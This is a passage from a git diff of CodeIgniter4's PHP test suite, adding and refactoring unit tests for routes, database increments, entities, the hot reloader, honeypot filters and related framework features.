testRoutesCommandSortByHandlerUsingShortcutForBc(): void + { + Services::resetSingle('routes'); + + command('routes -h'); + + $expected = <<<'EOL' + Warning: -h will be used as shortcut for --help in v4.8.0. Please use --sort-by-handler to sort by handler. + + +---------+---------+---------------+----------------------------------------+----------------+---------------+ + | Method | Route | Name | Handler ↓ | Before Filters | After Filters | + +---------+---------+---------------+----------------------------------------+----------------+---------------+ + | GET | closure | » | (Closure) | | | + | GET | / | » | \App\Controllers\Home::index | | | + | GET | testing | testing-index | \App\Controllers\TestController::index | | | + | HEAD | testing | testing-index | \App\Controllers\TestController::index | | | + | POST | testing | testing-index | \App\Controllers\TestController::index | | | + | PATCH | testing | testing-index | \App\Controllers\TestController::index | | | + | PUT | testing | testing-index | \App\Controllers\TestController::index | | | + | DELETE | testing | testing-index | \App\Controllers\TestController::index | | | + | OPTIONS | testing | testing-index | \App\Controllers\TestController::index | | | + | TRACE | testing | testing-index | \App\Controllers\TestController::index | | | + | CONNECT | testing | testing-index | \App\Controllers\TestController::index | | | + | CLI | testing | testing-index | \App\Controllers\TestController::index | | | + +---------+---------+---------------+----------------------------------------+----------------+---------------+ + EOL; + $this->assertStringContainsString( + $expected, + (string) preg_replace('/\e\[[^m]+m/u', '', $this->getBuffer()), + ); + } + public function testRoutesCommandHostHostname(): void { - Services::injectMock('routes', null); + Services::resetSingle('routes'); command('routes --host blog.example.com'); @@ -148,7 +183,7 @@ public function testRoutesCommandHostHostname(): void public function testRoutesCommandHostSubdomain(): void { - Services::injectMock('routes', null); + Services::resetSingle('routes'); command('routes --host sub.example.com'); @@ -181,8 +216,7 @@ public function testRoutesCommandAutoRouteImproved(): void $routes->setAutoRoute(true); config('Feature')->autoRoutesImproved = true; - $namespace = 'Tests\Support\Controllers'; - $routes->setDefaultNamespace($namespace); + $routes->setDefaultNamespace('Tests\Support\Controllers'); command('routes'); @@ -214,7 +248,8 @@ public function testRoutesCommandRouteLegacy(): void $routes = $this->getCleanRoutes(); $routes->loadRoutes(); - $featureConfig = config(Feature::class); + $featureConfig = config(Feature::class); + $featureConfig->autoRoutesImproved = false; $routes->setAutoRoute(true); diff --git a/tests/system/Commands/WorkerCommandsTest.php b/tests/system/Commands/Worker/WorkerCommandsTest.php similarity index 99% rename from tests/system/Commands/WorkerCommandsTest.php rename to tests/system/Commands/Worker/WorkerCommandsTest.php index be0880f9157d..ff570356fdcf 100644 --- a/tests/system/Commands/WorkerCommandsTest.php +++ b/tests/system/Commands/Worker/WorkerCommandsTest.php @@ -11,7 +11,7 @@ * the LICENSE file that was distributed with this source code. */ -namespace CodeIgniter\Commands; +namespace CodeIgniter\Commands\Worker; use CodeIgniter\Test\CIUnitTestCase; use CodeIgniter\Test\StreamFilterTrait; diff --git a/tests/system/Config/BaseConfigTest.php b/tests/system/Config/BaseConfigTest.php index 5cc3d1682617..1d34ce30535a 100644 --- a/tests/system/Config/BaseConfigTest.php +++ b/tests/system/Config/BaseConfigTest.php @@ -42,6 +42,7 @@ protected function setUp(): void { parent::setUp(); + $this->clearEnvironmentOverrides(); $this->fixturesFolder = __DIR__ . '/fixtures'; if (! class_exists('SimpleConfig', false)) { @@ -65,12 +66,30 @@ protected function tearDown(): void { parent::tearDown(); + $this->clearEnvironmentOverrides(); // This test modifies BaseConfig::$modules, so should reset. BaseConfig::reset(); // This test modifies Services locator, so should reset. $this->resetServices(); } + private function clearEnvironmentOverrides(): void + { + foreach ([ + 'different.key', + 'encryption.driver', + 'encryption.key', + 'SimpleConfig.QZERO', + 'SimpleConfig.QZEROSTR', + 'SimpleConfig.QEMPTYSTR', + 'SimpleConfig.QFALSE', + ] as $key) { + putenv($key); + unset($_ENV[$key]); + Services::superglobals()->unsetServer($key); + } + } + public function testBasicValues(): void { $dotenv = new DotEnv($this->fixturesFolder, '.env'); diff --git a/tests/system/Config/FactoriesTest.php b/tests/system/Config/FactoriesTest.php index a3a4303dd3a0..37077c41b1a5 100644 --- a/tests/system/Config/FactoriesTest.php +++ b/tests/system/Config/FactoriesTest.php @@ -244,7 +244,7 @@ public function testPrioritizesParameterOptions(): void { Factories::setOptions('widgets', ['instanceOf' => 'stdClass']); - $result = Factories::widgets('OtherWidget', ['instanceOf' => null]); + $result = Factories::widgets(OtherWidget::class, ['instanceOf' => null]); $this->assertInstanceOf(OtherWidget::class, $result); } diff --git a/tests/system/DataConverter/DataConverterTest.php b/tests/system/DataConverter/DataConverterTest.php index 220e101ba762..6686618a181b 100644 --- a/tests/system/DataConverter/DataConverterTest.php +++ b/tests/system/DataConverter/DataConverterTest.php @@ -705,6 +705,10 @@ public function testNotNullable(): void $converter->toDataSource($dbData); } + /** + * @param (Closure(array): object)|string|null $reconstructor + * @param (Closure(object, bool, bool): array)|string|null $extractor + */ private function createDataConverter( array $types, array $handlers = [], diff --git a/tests/system/Database/Live/ExecuteLogMessageFormatTest.php b/tests/system/Database/Live/ExecuteLogMessageFormatTest.php index ca79e4f46fcc..9913a2da05c0 100644 --- a/tests/system/Database/Live/ExecuteLogMessageFormatTest.php +++ b/tests/system/Database/Live/ExecuteLogMessageFormatTest.php @@ -50,7 +50,7 @@ public function testLogMessageWhenExecuteFailsShowFullStructuredBacktrace(): voi 'MySQLi' => '/Table \'test\.some_table\' doesn\'t exist/', 'Postgre' => '/pg_query\(\): Query failed: ERROR: relation "some_table" does not exist/', 'SQLite3' => '/Unable to prepare statement:\s(\d+,\s)?no such table: some_table/', - 'OCI8' => '/oci_execute\(\): ORA-00942: table or view does not exist/', + 'OCI8' => '/oci_execute\(\): ORA-00942: table or view "ORACLE"\."SOME_TABLE" does not exist/', 'SQLSRV' => '/\[Microsoft\]\[ODBC Driver \d+ for SQL Server\]\[SQL Server\]Invalid object name \'some_table\'/', default => '/Unknown DB error/', }; diff --git a/tests/system/Database/Live/IncrementTest.php b/tests/system/Database/Live/IncrementTest.php index 0051e1a9039d..3a9155566e9c 100644 --- a/tests/system/Database/Live/IncrementTest.php +++ b/tests/system/Database/Live/IncrementTest.php @@ -51,6 +51,28 @@ public function testIncrementWithValue(): void $this->seeInDatabase('job', ['name' => 'incremental', 'description' => '8']); } + public function testIncrementWithNumericColumns(): void + { + $this->hasInDatabase('job', ['name' => 'incremental', 'created_at' => 6]); + + $this->db->table('job') + ->where('name', 'incremental') + ->increment('created_at'); + + $this->seeInDatabase('job', ['name' => 'incremental', 'created_at' => 7]); + } + + public function testIncrementWithNumericColumnsAndValue(): void + { + $this->hasInDatabase('job', ['name' => 'incremental', 'created_at' => 6]); + + $this->db->table('job') + ->where('name', 'incremental') + ->increment('created_at', 2); + + $this->seeInDatabase('job', ['name' => 'incremental', 'created_at' => 8]); + } + public function testResetStateAfterIncrement(): void { $this->hasInDatabase('job', ['name' => 'account1', 'description' => '10']); @@ -87,6 +109,28 @@ public function testDecrementWithValue(): void $this->seeInDatabase('job', ['name' => 'incremental', 'description' => '4']); } + public function testDecrementWithNumericColumns(): void + { + $this->hasInDatabase('job', ['name' => 'incremental', 'created_at' => 6]); + + $this->db->table('job') + ->where('name', 'incremental') + ->decrement('created_at'); + + $this->seeInDatabase('job', ['name' => 'incremental', 'created_at' => 5]); + } + + public function testDecrementWithNumericColumnsAndValue(): void + { + $this->hasInDatabase('job', ['name' => 'incremental', 'created_at' => 6]); + + $this->db->table('job') + ->where('name', 'incremental') + ->decrement('created_at', 2); + + $this->seeInDatabase('job', ['name' => 'incremental', 'created_at' => 4]); + } + public function testResetStateAfterDecrement(): void { $this->hasInDatabase('job', ['name' => 'account1', 'description' => '10']); diff --git a/tests/system/Database/Live/MetadataTest.php b/tests/system/Database/Live/MetadataTest.php index ad70d281af0a..5030a6544231 100644 --- a/tests/system/Database/Live/MetadataTest.php +++ b/tests/system/Database/Live/MetadataTest.php @@ -78,7 +78,7 @@ private function dropExtraneousTable(): void $oldPrefix = $this->db->getPrefix(); $this->db->setPrefix('tmp_'); - Database::forge($this->DBGroup)->dropTable('widgets'); + Database::forge($this->DBGroup)->dropTable('widgets', true); $this->db->setPrefix($oldPrefix); } @@ -139,4 +139,22 @@ public function testListTablesConstrainedByExtraneousPrefixReturnsOnlyTheExtrane $this->dropExtraneousTable(); } } + + public function testListTablesReturnsListAfterCachedTableIsDropped(): void + { + try { + $this->createExtraneousTable(); + + $tables = $this->db->listTables(); + $this->assertSame(array_values($tables), $tables); + + $this->dropExtraneousTable(); + + $tables = $this->db->listTables(); + $this->assertSame(array_values($tables), $tables); + $this->assertNotContains('tmp_widgets', $tables); + } finally { + $this->dropExtraneousTable(); + } + } } diff --git a/tests/system/Database/Live/SQLSRV/IncrementTest.php b/tests/system/Database/Live/SQLSRV/IncrementTest.php new file mode 100644 index 000000000000..c5ea28cd2692 --- /dev/null +++ b/tests/system/Database/Live/SQLSRV/IncrementTest.php @@ -0,0 +1,73 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace CodeIgniter\Database\Live\SQLSRV; + +use CodeIgniter\Database\SQLSRV\Builder; +use CodeIgniter\Test\CIUnitTestCase; +use CodeIgniter\Test\DatabaseTestTrait; +use PHPUnit\Framework\Attributes\Group; +use Tests\Support\Database\Seeds\CITestSeeder; + +/** + * @internal + */ +#[Group('DatabaseLive')] +final class IncrementTest extends CIUnitTestCase +{ + use DatabaseTestTrait; + + protected $refresh = true; + protected $seed = CITestSeeder::class; + + protected function setUp(): void + { + parent::setUp(); + + if ($this->db->DBDriver !== 'SQLSRV') { + $this->markTestSkipped('This test is only for SQLSRV.'); + } + } + + public function testIncrementWhenCastTextToIntFalse(): void + { + $this->hasInDatabase('job', ['name' => 'incremental', 'created_at' => 6]); + + $builder = $this->db->table('job'); + + $this->assertInstanceOf(Builder::class, $builder); + + $builder->castTextToInt = false; + + $builder->where('name', 'incremental') + ->increment('created_at'); + + $this->seeInDatabase('job', ['name' => 'incremental', 'created_at' => 7]); + } + + public function testDecrementWhenCastTextToIntFalse(): void + { + $this->hasInDatabase('job', ['name' => 'decremental', 'created_at' => 6]); + + $builder = $this->db->table('job'); + + $this->assertInstanceOf(Builder::class, $builder); + + $builder->castTextToInt = false; + + $builder->where('name', 'decremental') + ->decrement('created_at'); + + $this->seeInDatabase('job', ['name' => 'decremental', 'created_at' => 5]); + } +} diff --git a/tests/system/Debug/ExceptionHandlerTest.php b/tests/system/Debug/ExceptionHandlerTest.php index 7bd7bdb35465..43086860b0d6 100644 --- a/tests/system/Debug/ExceptionHandlerTest.php +++ b/tests/system/Debug/ExceptionHandlerTest.php @@ -198,8 +198,7 @@ public function testMaskSensitiveData(): void 'function' => 'index', 'class' => Home::class, 'type' => '->', - 'args' => [ - ], + 'args' => [], ], ]; $keysToMask = ['password']; @@ -224,8 +223,7 @@ public function testMaskSensitiveDataTraceDataKey(): void 'function' => 'f', 'class' => Home::class, 'type' => '->', - 'args' => [ - ], + 'args' => [], ], 1 => [ 'file' => '/var/www/CodeIgniter4/system/CodeIgniter.php', @@ -233,8 +231,7 @@ public function testMaskSensitiveDataTraceDataKey(): void 'function' => 'index', 'class' => Home::class, 'type' => '->', - 'args' => [ - ], + 'args' => [], ], ]; $keysToMask = ['file']; diff --git a/tests/system/Debug/ExceptionsTest.php b/tests/system/Debug/ExceptionsTest.php index 2de1d0d7290f..415b6772c509 100644 --- a/tests/system/Debug/ExceptionsTest.php +++ b/tests/system/Debug/ExceptionsTest.php @@ -160,8 +160,7 @@ public function testMaskSensitiveData(): void 'function' => 'index', 'class' => Home::class, 'type' => '->', - 'args' => [ - ], + 'args' => [], ], ]; $keysToMask = ['password']; @@ -186,8 +185,7 @@ public function testMaskSensitiveDataTraceDataKey(): void 'function' => 'f', 'class' => Home::class, 'type' => '->', - 'args' => [ - ], + 'args' => [], ], 1 => [ 'file' => '/var/www/CodeIgniter4/system/CodeIgniter.php', @@ -195,8 +193,7 @@ public function testMaskSensitiveDataTraceDataKey(): void 'function' => 'index', 'class' => Home::class, 'type' => '->', - 'args' => [ - ], + 'args' => [], ], ]; $keysToMask = ['file']; diff --git a/tests/system/Debug/Toolbar/Collectors/LogsTest.php b/tests/system/Debug/Toolbar/Collectors/LogsTest.php index c239d0d422ba..a89fc878260c 100644 --- a/tests/system/Debug/Toolbar/Collectors/LogsTest.php +++ b/tests/system/Debug/Toolbar/Collectors/LogsTest.php @@ -18,6 +18,8 @@ use Config\Logger as LoggerConfig; use Config\Services; use PHPUnit\Framework\Attributes\Group; +use Psr\Log\AbstractLogger; +use Stringable; /** * @internal @@ -68,4 +70,18 @@ public function testNotEmpty(): void $collector = new Logs(); $this->assertFalse($collector->isEmpty()); } + + public function testEmptyWithThirdPartyLogger(): void + { + Services::injectMock('logger', new class () extends AbstractLogger { + public function log($level, string|Stringable $message, array $context = []): void + { + } + }); + + $collector = new Logs(); + + $this->assertTrue($collector->isEmpty()); + $this->assertSame(['logs' => []], $collector->display()); + } } diff --git a/tests/system/Entity/EntityTest.php b/tests/system/Entity/EntityTest.php index 7c19d9d09b89..52d1de2f5a8b 100644 --- a/tests/system/Entity/EntityTest.php +++ b/tests/system/Entity/EntityTest.php @@ -30,11 +30,15 @@ use PHPUnit\Framework\Attributes\Group; use ReflectionException; use stdClass; +use Tests\Support\Entity\ArrayObjectWithToArray; use Tests\Support\Entity\Cast\CastBase64; use Tests\Support\Entity\Cast\CastPassParameters; use Tests\Support\Entity\Cast\NotExtendsBaseCast; use Tests\Support\Enum\ColorEnum; +use Tests\Support\Enum\JsonSerializableStateUnitEnum; use Tests\Support\Enum\RoleEnum; +use Tests\Support\Enum\StateEnum; +use Tests\Support\Enum\StateUnitEnum; use Tests\Support\Enum\StatusEnum; use Tests\Support\SomeEntity; @@ -1045,6 +1049,45 @@ public function testCastEnumSetWithUnitEnumObject(): void $this->assertSame(ColorEnum::RED, $entity->color); } + /** + * @see https://github.com/codeigniter4/CodeIgniter4/issues/10136 + */ + public function testInjectRawDataWithBackedEnumThatHasToArrayMethod(): void + { + $entity = new class () extends Entity {}; + + $entity->injectRawData(['state' => StateEnum::DRAFT]); + + $this->assertSame(StateEnum::DRAFT, $entity->toRawArray()['state']); + $this->assertFalse($entity->hasChanged('state')); + } + + /** + * @see https://github.com/codeigniter4/CodeIgniter4/issues/10136 + */ + public function testInjectRawDataWithUnitEnumThatHasToArrayMethod(): void + { + $entity = new class () extends Entity {}; + + $entity->injectRawData(['state' => StateUnitEnum::DRAFT]); + + $this->assertSame(StateUnitEnum::DRAFT, $entity->toRawArray()['state']); + $this->assertFalse($entity->hasChanged('state')); + } + + /** + * @see https://github.com/codeigniter4/CodeIgniter4/issues/10136 + */ + public function testInjectRawDataWithUnitEnumThatImplementsJsonSerializable(): void + { + $entity = new class () extends Entity {}; + + $entity->injectRawData(['state' => JsonSerializableStateUnitEnum::DRAFT]); + + $this->assertSame(JsonSerializableStateUnitEnum::DRAFT, $entity->toRawArray()['state']); + $this->assertFalse($entity->hasChanged('state')); + } + public function testAsArray(): void { $entity = $this->getEntity(); @@ -1975,6 +2018,46 @@ public function jsonSerialize(): mixed $this->assertTrue($entity->hasChanged('data')); } + public function testHasChangedPrefersJsonSerializableOverToArray(): void + { + $entity = new class () extends Entity { + protected $attributes = [ + 'data' => null, + ]; + }; + + $data = new class ('original') implements JsonSerializable { + public function __construct(private string $value) + { + } + + public function jsonSerialize(): mixed + { + return ['json' => $this->value]; + } + + public function setValue(string $value): void + { + $this->value = $value; + } + + /** + * @return array + */ + public function toArray(): array + { + return ['array' => 'same']; + } + }; + + $entity->data = $data; + $entity->syncOriginal(); + + $data->setValue('modified'); + + $this->assertTrue($entity->hasChanged('data')); + } + public function testHasChangedDoesNotDetectUnchangedObject(): void { $entity = new class () extends Entity { @@ -2278,6 +2361,50 @@ public function toArray(): array $this->assertTrue($entity->hasChanged('custom')); } + public function testHasChangedPrefersToArrayOverTraversable(): void + { + $entity = new class () extends Entity { + protected $attributes = [ + 'items' => null, + ]; + }; + + $items = new ArrayObjectWithToArray(['iterator' => 'original']); + + $entity->items = $items; + $entity->syncOriginal(); + + $items->exchangeArray(['iterator' => 'modified']); + + $this->assertFalse($entity->hasChanged('items')); + } + + public function testHasChangedPrefersToArrayOverDateTimeInterface(): void + { + $entity = new class () extends Entity { + protected $attributes = [ + 'date' => null, + ]; + }; + + $date = new class ('2024-01-01 00:00:00') extends DateTime { + /** + * @return array + */ + public function toArray(): array + { + return ['date' => 'same']; + } + }; + + $entity->date = $date; + $entity->syncOriginal(); + + $date->modify('+1 day'); + + $this->assertFalse($entity->hasChanged('date')); + } + public function testHasChangedScalarOptimizationWithNullValues(): void { $entity = new class () extends Entity { diff --git a/tests/system/Events/EventsTest.php b/tests/system/Events/EventsTest.php index 5ec4ae679d3b..bfdef1e2bbe9 100644 --- a/tests/system/Events/EventsTest.php +++ b/tests/system/Events/EventsTest.php @@ -54,9 +54,6 @@ protected function tearDown(): void #[RunInSeparateProcess] public function testInitialize(): void { - /** - * @var Modules $config - */ $config = new Modules(); $config->aliases = []; diff --git a/tests/system/Files/FileTest.php b/tests/system/Files/FileTest.php index 8975ba0a6fd2..b27c6b12c6da 100644 --- a/tests/system/Files/FileTest.php +++ b/tests/system/Files/FileTest.php @@ -54,7 +54,7 @@ public function testGuessExtension(): void $file = new File(SYSTEMPATH . 'index.html'); $this->assertSame('html', $file->guessExtension()); - $file = new File(ROOTPATH . 'phpunit.xml.dist'); + $file = new File(ROOTPATH . 'phpunit.dist.xml'); $this->assertSame('xml', $file->guessExtension()); $tmp = tempnam(SUPPORTPATH, 'foo'); diff --git a/tests/system/Filters/FiltersTest.php b/tests/system/Filters/FiltersTest.php index bf65d43dd0de..cdf57c8b9211 100644 --- a/tests/system/Filters/FiltersTest.php +++ b/tests/system/Filters/FiltersTest.php @@ -854,8 +854,7 @@ public function testFiltersWithArguments(): void $config = [ 'aliases' => ['role' => Role::class], - 'globals' => [ - ], + 'globals' => [], 'filters' => [ 'role:admin,super' => [ 'before' => ['admin/*'], diff --git a/tests/system/Helpers/FormHelperTest.php b/tests/system/Helpers/FormHelperTest.php index 58c1cb2a94cf..04c35458cd01 100644 --- a/tests/system/Helpers/FormHelperTest.php +++ b/tests/system/Helpers/FormHelperTest.php @@ -945,8 +945,7 @@ public function testSetCheckboxWithUnchecked(): void { $_SESSION = [ '_ci_old_input' => [ - 'post' => [ - ], + 'post' => [], ], ]; diff --git a/tests/system/Honeypot/HoneypotTest.php b/tests/system/Honeypot/HoneypotTest.php index 958b61bbf43a..12341f645889 100644 --- a/tests/system/Honeypot/HoneypotTest.php +++ b/tests/system/Honeypot/HoneypotTest.php @@ -24,6 +24,7 @@ use CodeIgniter\Superglobals; use CodeIgniter\Test\CIUnitTestCase; use Config\App; +use Config\Filters as FiltersConfig; use Config\Honeypot as HoneypotConfig; use PHPUnit\Framework\Attributes\BackupGlobals; use PHPUnit\Framework\Attributes\Group; @@ -49,6 +50,8 @@ protected function setUp(): void { parent::setUp(); + $this->resetServices(); + Factories::reset('config'); Services::injectMock('superglobals', new Superglobals()); $this->config = new HoneypotConfig(); @@ -162,15 +165,11 @@ public function testConfigName(): void public function testHoneypotFilterBefore(): void { - $config = [ - 'aliases' => ['trap' => \CodeIgniter\Filters\Honeypot::class], - 'globals' => [ - 'before' => ['trap'], - 'after' => [], - ], - ]; - - $filters = new Filters((object) $config, $this->request, $this->response); + $config = new FiltersConfig(); + $config->aliases = ['trap' => \CodeIgniter\Filters\Honeypot::class]; + $config->globals = ['before' => ['trap'], 'after' => []]; + + $filters = new Filters($config, $this->request, $this->response); $uri = 'admin/foo/bar'; $this->expectException(HoneypotException::class); @@ -179,15 +178,11 @@ public function testHoneypotFilterBefore(): void public function testHoneypotFilterAfter(): void { - $config = [ - 'aliases' => ['trap' => \CodeIgniter\Filters\Honeypot::class], - 'globals' => [ - 'before' => [], - 'after' => ['trap'], - ], - ]; - - $filters = new Filters((object) $config, $this->request, $this->response); + $config = new FiltersConfig(); + $config->aliases = ['trap' => \CodeIgniter\Filters\Honeypot::class]; + $config->globals = ['before' => [], 'after' => ['trap']]; + + $filters = new Filters($config, $this->request, $this->response); $uri = 'admin/foo/bar'; $this->response->setBody('
'); diff --git a/tests/system/HotReloader/DirectoryHasherTest.php b/tests/system/HotReloader/DirectoryHasherTest.php index 3ef02c1217a4..a8a112ffe84b 100644 --- a/tests/system/HotReloader/DirectoryHasherTest.php +++ b/tests/system/HotReloader/DirectoryHasherTest.php @@ -13,8 +13,10 @@ namespace CodeIgniter\HotReloader; +use CodeIgniter\Config\Factories; use CodeIgniter\Exceptions\FrameworkException; use CodeIgniter\Test\CIUnitTestCase; +use Config\Toolbar; use PHPUnit\Framework\Attributes\Group; /** @@ -24,20 +26,44 @@ final class DirectoryHasherTest extends CIUnitTestCase { private DirectoryHasher $hasher; + private string $fixtureDirectory; + private string $fixturePath; + private string $fixturePathAlt; protected function setUp(): void { parent::setUp(); + $suffix = str_replace('.', '', uniqid('', true)); + $this->fixtureDirectory = 'writable/hot-reloader-test-' . $suffix; + $fixtureDirectoryAlt = 'writable/hot-reloader-test-alt-' . $suffix; + $this->fixturePath = ROOTPATH . $this->fixtureDirectory . '/'; + $this->fixturePathAlt = ROOTPATH . $fixtureDirectoryAlt . '/'; + + $this->createFixtureDirectory($this->fixturePath, 'test'); + $this->createFixtureDirectory($this->fixturePathAlt, 'test-alt'); + $this->hasher = new DirectoryHasher(); } + protected function tearDown(): void + { + $this->removeFixtureDirectory($this->fixturePath); + $this->removeFixtureDirectory($this->fixturePathAlt); + + parent::tearDown(); + } + public function testHashApp(): void { + $config = new Toolbar(); + $config->watchedDirectories = [$this->fixtureDirectory]; + Factories::injectMock('config', Toolbar::class, $config); + $results = $this->hasher->hashApp(); $this->assertIsArray($results); - $this->assertArrayHasKey('app', $results); + $this->assertArrayHasKey($this->fixtureDirectory, $results); } public function testHashDirectoryInvalid(): void @@ -50,24 +76,48 @@ public function testHashDirectoryInvalid(): void public function testUniqueHashes(): void { - $hash1 = $this->hasher->hashDirectory(APPPATH); - $hash2 = $this->hasher->hashDirectory(SYSTEMPATH); + $hash1 = $this->hasher->hashDirectory($this->fixturePath); + $hash2 = $this->hasher->hashDirectory($this->fixturePathAlt); $this->assertNotSame($hash1, $hash2); } public function testRepeatableHashes(): void { - $hash1 = $this->hasher->hashDirectory(APPPATH); - $hash2 = $this->hasher->hashDirectory(APPPATH); + $hash1 = $this->hasher->hashDirectory($this->fixturePath); + $hash2 = $this->hasher->hashDirectory($this->fixturePath); $this->assertSame($hash1, $hash2); } public function testHash(): void { + $config = new Toolbar(); + $config->watchedDirectories = [$this->fixtureDirectory]; + Factories::injectMock('config', Toolbar::class, $config); + $expected = md5(implode('', $this->hasher->hashApp())); $this->assertSame($expected, $this->hasher->hash()); } + + private function createFixtureDirectory(string $path, string $contents): void + { + if (! is_dir($path)) { + mkdir($path, 0777, true); + } + + file_put_contents($path . 'index.php', $contents); + } + + private function removeFixtureDirectory(string $path): void + { + if (is_file($path . 'index.php')) { + unlink($path . 'index.php'); + } + + if (is_dir($path)) { + rmdir($path); + } + } } diff --git a/tests/system/I18n/TimeTest.php b/tests/system/I18n/TimeTest.php index 9fb4b9226a85..a7346c181b93 100644 --- a/tests/system/I18n/TimeTest.php +++ b/tests/system/I18n/TimeTest.php @@ -291,11 +291,18 @@ public function testCreateFromTimestamp(): void public function testCreateFromTimestampWithMicroseconds(): void { $timestamp = 1489762800.654321; + $locale = setlocale(LC_NUMERIC, '0'); - // The timezone will be UTC if you don't specify. - $time = Time::createFromTimestamp($timestamp); + setlocale(LC_NUMERIC, 'de_DE.UTF-8', 'de_DE'); + + try { + // The timezone will be UTC if you don't specify. + $time = Time::createFromTimestamp($timestamp); - $this->assertSame('2017-03-17 15:00:00.654321', $time->format('Y-m-d H:i:s.u')); + $this->assertSame('2017-03-17 15:00:00.654321', $time->format('Y-m-d H:i:s.u')); + } finally { + setlocale(LC_NUMERIC, $locale); + } } public function testCreateFromTimestampWithTimezone(): void diff --git a/tests/system/Language/LanguageTest.php b/tests/system/Language/LanguageTest.php index 749a30e88b3d..6233941e7d75 100644 --- a/tests/system/Language/LanguageTest.php +++ b/tests/system/Language/LanguageTest.php @@ -381,6 +381,19 @@ public function testLanguageNestedArrayDefinition(): void $this->assertSame('e', $lang->getLine('Nested.a.b.c.d')); } + /** + * @see https://github.com/codeigniter4/CodeIgniter4/issues/10187 + */ + public function testLanguageNestedArrayDefinitionReturnsIntermediateArrays(): void + { + $lang = new SecondMockLanguage('en'); + $lang->loadem('Nested', 'en'); + + $this->assertSame(['b' => ['c' => ['d' => 'e']]], $lang->getLine('Nested.a')); + $this->assertSame(['c' => ['d' => 'e']], $lang->getLine('Nested.a.b')); + $this->assertSame(['d' => 'e'], $lang->getLine('Nested.a.b.c')); + } + public function testLanguageKeySeparatedByDot(): void { $lang = new SecondMockLanguage('en'); diff --git a/tests/system/Publisher/PublisherOutputTest.php b/tests/system/Publisher/PublisherOutputTest.php index 0b9b744e01fd..73571cd81a98 100644 --- a/tests/system/Publisher/PublisherOutputTest.php +++ b/tests/system/Publisher/PublisherOutputTest.php @@ -55,9 +55,7 @@ protected function setUp(): void { parent::setUp(); - /** - * Files to seed to VFS - */ + /** Files to seed to VFS */ $structure = [ 'able' => [ 'apple.php' => 'Once upon a midnight dreary', diff --git a/tests/system/Security/SecurityCSRFSessionRandomizeTokenTest.php b/tests/system/Security/SecurityCSRFSessionRandomizeTokenTest.php index 50ee40e061fd..f5f1f437c83d 100644 --- a/tests/system/Security/SecurityCSRFSessionRandomizeTokenTest.php +++ b/tests/system/Security/SecurityCSRFSessionRandomizeTokenTest.php @@ -299,9 +299,7 @@ public function testRegenerateWithFalseSecurityRegenerateProperty(): void service('superglobals')->setServer('REQUEST_METHOD', 'POST'); service('superglobals')->setPost('csrf_test_name', $this->randomizedToken); - /** - * @var SecurityConfig - */ + /** @var SecurityConfig */ $config = Factories::config('Security'); $config->tokenRandomize = true; $config->regenerate = false; @@ -322,9 +320,7 @@ public function testRegenerateWithTrueSecurityRegenerateProperty(): void service('superglobals')->setServer('REQUEST_METHOD', 'POST'); service('superglobals')->setPost('csrf_test_name', $this->randomizedToken); - /** - * @var SecurityConfig - */ + /** @var SecurityConfig */ $config = Factories::config('Security'); $config->tokenRandomize = true; $config->regenerate = true; diff --git a/tests/system/Security/SecurityCSRFSessionTest.php b/tests/system/Security/SecurityCSRFSessionTest.php index 5c7aaf336e1f..fb410ac71ac3 100644 --- a/tests/system/Security/SecurityCSRFSessionTest.php +++ b/tests/system/Security/SecurityCSRFSessionTest.php @@ -288,9 +288,7 @@ public function testRegenerateWithFalseSecurityRegenerateProperty(): void ->setServer('REQUEST_METHOD', 'POST') ->setPost('csrf_test_name', '8b9218a55906f9dcc1dc263dce7f005a'); - /** - * @var SecurityConfig - */ + /** @var SecurityConfig */ $config = Factories::config('Security'); $config->regenerate = false; Factories::injectMock('config', 'Security', $config); @@ -311,9 +309,7 @@ public function testRegenerateWithTrueSecurityRegenerateProperty(): void ->setServer('REQUEST_METHOD', 'POST') ->setPost('csrf_test_name', '8b9218a55906f9dcc1dc263dce7f005a'); - /** - * @var SecurityConfig - */ + /** @var SecurityConfig */ $config = Factories::config('Security'); $config->regenerate = true; Factories::injectMock('config', 'Security', $config); diff --git a/tests/system/Test/FeatureTestTraitTest.php b/tests/system/Test/FeatureTestTraitTest.php index a5472ddd969d..f36767f7f971 100644 --- a/tests/system/Test/FeatureTestTraitTest.php +++ b/tests/system/Test/FeatureTestTraitTest.php @@ -671,6 +671,10 @@ public function testAutoRoutingLegacy(): void $config->autoRoute = true; Factories::injectMock('config', Routing::class, $config); + $collection = service('routes'); + $collection->setAutoRoute(true); + $collection->setDefaultNamespace('App\Controllers'); + $response = $this->get('home/index'); $response->assertOK(); diff --git a/tests/system/Test/ReflectionHelperTest.php b/tests/system/Test/ReflectionHelperTest.php index e110a4820422..41eb0d15d9d0 100644 --- a/tests/system/Test/ReflectionHelperTest.php +++ b/tests/system/Test/ReflectionHelperTest.php @@ -22,6 +22,13 @@ #[Group('Others')] final class ReflectionHelperTest extends CIUnitTestCase { + protected function setUp(): void + { + parent::setUp(); + + TestForReflectionHelper::resetStaticPrivate(); + } + public function testGetPrivatePropertyWithObject(): void { $obj = new TestForReflectionHelper(); diff --git a/tests/system/Validation/DotArrayFilterTest.php b/tests/system/Validation/DotArrayFilterTest.php index e83b4fe9e566..84e4131102a0 100644 --- a/tests/system/Validation/DotArrayFilterTest.php +++ b/tests/system/Validation/DotArrayFilterTest.php @@ -197,4 +197,15 @@ public function testRunReturnOrderedIndices(): void $this->assertSame($data, $result); } + + public function testRunPreservesNullValue(): void + { + $data = [ + 'foo' => null, + ]; + + $result = DotArrayFilter::run(['foo'], $data); + + $this->assertSame(['foo' => null], $result); + } } diff --git a/tests/system/Validation/RulesTest.php b/tests/system/Validation/RulesTest.php index 37f7eebdfaa1..288a6d247e50 100644 --- a/tests/system/Validation/RulesTest.php +++ b/tests/system/Validation/RulesTest.php @@ -748,8 +748,8 @@ public static function provideRequiredWithAndOtherRules(): iterable [true, ['mustBeADate' => []]], // `otherField` and `mustBeADate` exist [true, ['mustBeADate' => '', 'otherField' => '']], - [true, ['mustBeADate' => '2023-06-12', 'otherField' => 'exists']], - [true, ['mustBeADate' => '2023-06-12', 'otherField' => '']], + [true, ['mustBeADate' => '2023-06-12', 'otherField' => 'exists']], + [true, ['mustBeADate' => '2023-06-12', 'otherField' => '']], [false, ['mustBeADate' => '', 'otherField' => 'exists']], [false, ['mustBeADate' => [], 'otherField' => 'exists']], [false, ['mustBeADate' => null, 'otherField' => 'exists']], @@ -773,7 +773,7 @@ public static function provideRequiredWithAndOtherRuleWithValueZero(): iterable { yield from [ [true, ['married' => '0', 'partner_name' 